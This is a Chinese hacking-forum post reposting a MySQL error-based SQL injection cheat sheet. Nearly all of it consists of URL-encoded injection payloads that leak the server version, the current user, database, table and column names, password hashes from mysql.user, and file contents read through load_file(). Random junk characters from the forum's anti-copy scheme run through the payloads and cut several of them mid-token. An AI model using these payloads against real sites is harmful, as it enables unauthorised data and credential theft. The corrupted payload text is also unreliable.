找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2251|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 : j& s: r! R5 b& h# g! P" x

0 Q! q1 P$ Q( u! k7 m/ d7 v. R: I1 M; o8 c  t2 M( W& P! Q
Mysql暴错注入参考(pdf),每天一贴。。。' H6 e  U) {2 s7 ?
6 C7 @$ L; D) j
MySql Error Based Injection Reference
$ J- `! E$ {# W; e+ j[Mysql暴错注入参考]
+ D  U( x& H6 l6 i; ^8 |9 [/ e; U0 ^! qAuthornig0s1992
% U- d, G/ n( W! m2 mBlog:http://pnig0s1992.blog.51cto.com/
& P7 E% K$ F! N( ~% }* j! K& c/ uTeAm:http://www.FreeBuf.com/7 D5 K" U; M$ Z: j1 s
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
9 Q. E6 S" s9 b6 M: R* M! C8 @4 p小部分版本使用name_const()时会报错.可以用给出的Method.2测试
" s7 q- {8 d/ a! W查询版本:: n5 d/ b" T2 J( S6 o
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
5 K. m$ M1 Z: ]4 n! @# Ijoin+(select+name_const(@@version,0))b)c)" W+ z* U1 W. s  j& I* b. s
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro1 ?+ o  Q9 p: v
up by a)b)1 g# b; K6 J/ P& y0 f% X
查询当前用户:5 C( i: `3 k$ Q. e# u% x  c# l
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
6 K0 e8 z( x, R4 H/ X) h2 X) y" VMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r! V/ n) p' y8 g+ _( F, Z
and(0)*2))x+from+information_schema.tables+group+by+x)a)
# \5 m4 z! z; C4 }查询当前数据库:
/ S# m' z+ D' N: F, q! DMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
$ ^7 A" c- f+ q7 nMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
, _9 p. g( o$ R5 N, Q) |! [; For(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
" n* T* `1 g& @% L8 ?: k6 ]9 j依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
% |( M- e- Y# Q  q0 i' T) f9 j; E8 zLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n5 e% m7 W  {# ]+ \
顺序替换
+ W- `/ x8 G+ i* E+ e# A0 B5 `爆指定库数目:
8 T" f6 h9 v" }  V* i6 }. ]and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t3 `% e& L) @% s0 w4 M
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group# [* w! E# X& a) g: ]( p
+by+x)a)+and+1=1 0x6D7973716C=mysql2 F, h# @/ A# x, C8 J0 m- U8 y
依次爆表:
( {  j; Q7 B( Y& Y0 Sand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t: @& x& Z" c$ x4 `( ?7 a- t
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta- R3 i8 F! s4 e, n4 X  t( a" y, C
bles+group+by+x)a)+and+1=1
& m0 B% e0 N, u0x6D7973716C=Mysql 将n顺序替换
4 P4 i/ a+ X4 D# n- b! s爆表内字段数目:
$ W" j* k/ g  c. @* w) i2 c8 Kand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE4 t: O4 X' t- o7 t) I6 q9 u8 U
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
' n: p7 ^! l& ?, R0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1- ^/ X5 }) k# p9 b/ |% Q0 M. R
依次爆字段:, B8 ?; H  D/ Y4 ^* ^
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where1 N) U% ]. z1 z0 n% K
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1" I/ a' ?2 g  E' i6 d
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
1 x3 \8 K0 C- c9 D: H3 r7 h/ p依次暴内容:" h, j/ @$ K# Q! }: T$ u' Z$ |3 N
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
: W5 O3 l$ ^, j/ E# O- [( K' `3 }ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
6 F, n- d! T2 x将n顺序替换+ `+ ^) s% t6 Z* ~, D+ r
爆文件内容:
+ R7 _+ [! n/ A3 vand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a6 j6 L% q6 w9 a9 `, }
from+information_schema.tables+group+by+a)b)
2 k7 D$ d3 A4 {/ g/ A+ V8 p6 {0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节0 B/ r" W4 N& `1 C: r
Thx for reading.2 Y' p  q9 [, ]! A) g: `) H9 Q- ?$ I

# R7 t; n  I. _$ V: W1 n7 D不要下载也可以,
8 [; w% v. C4 J

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表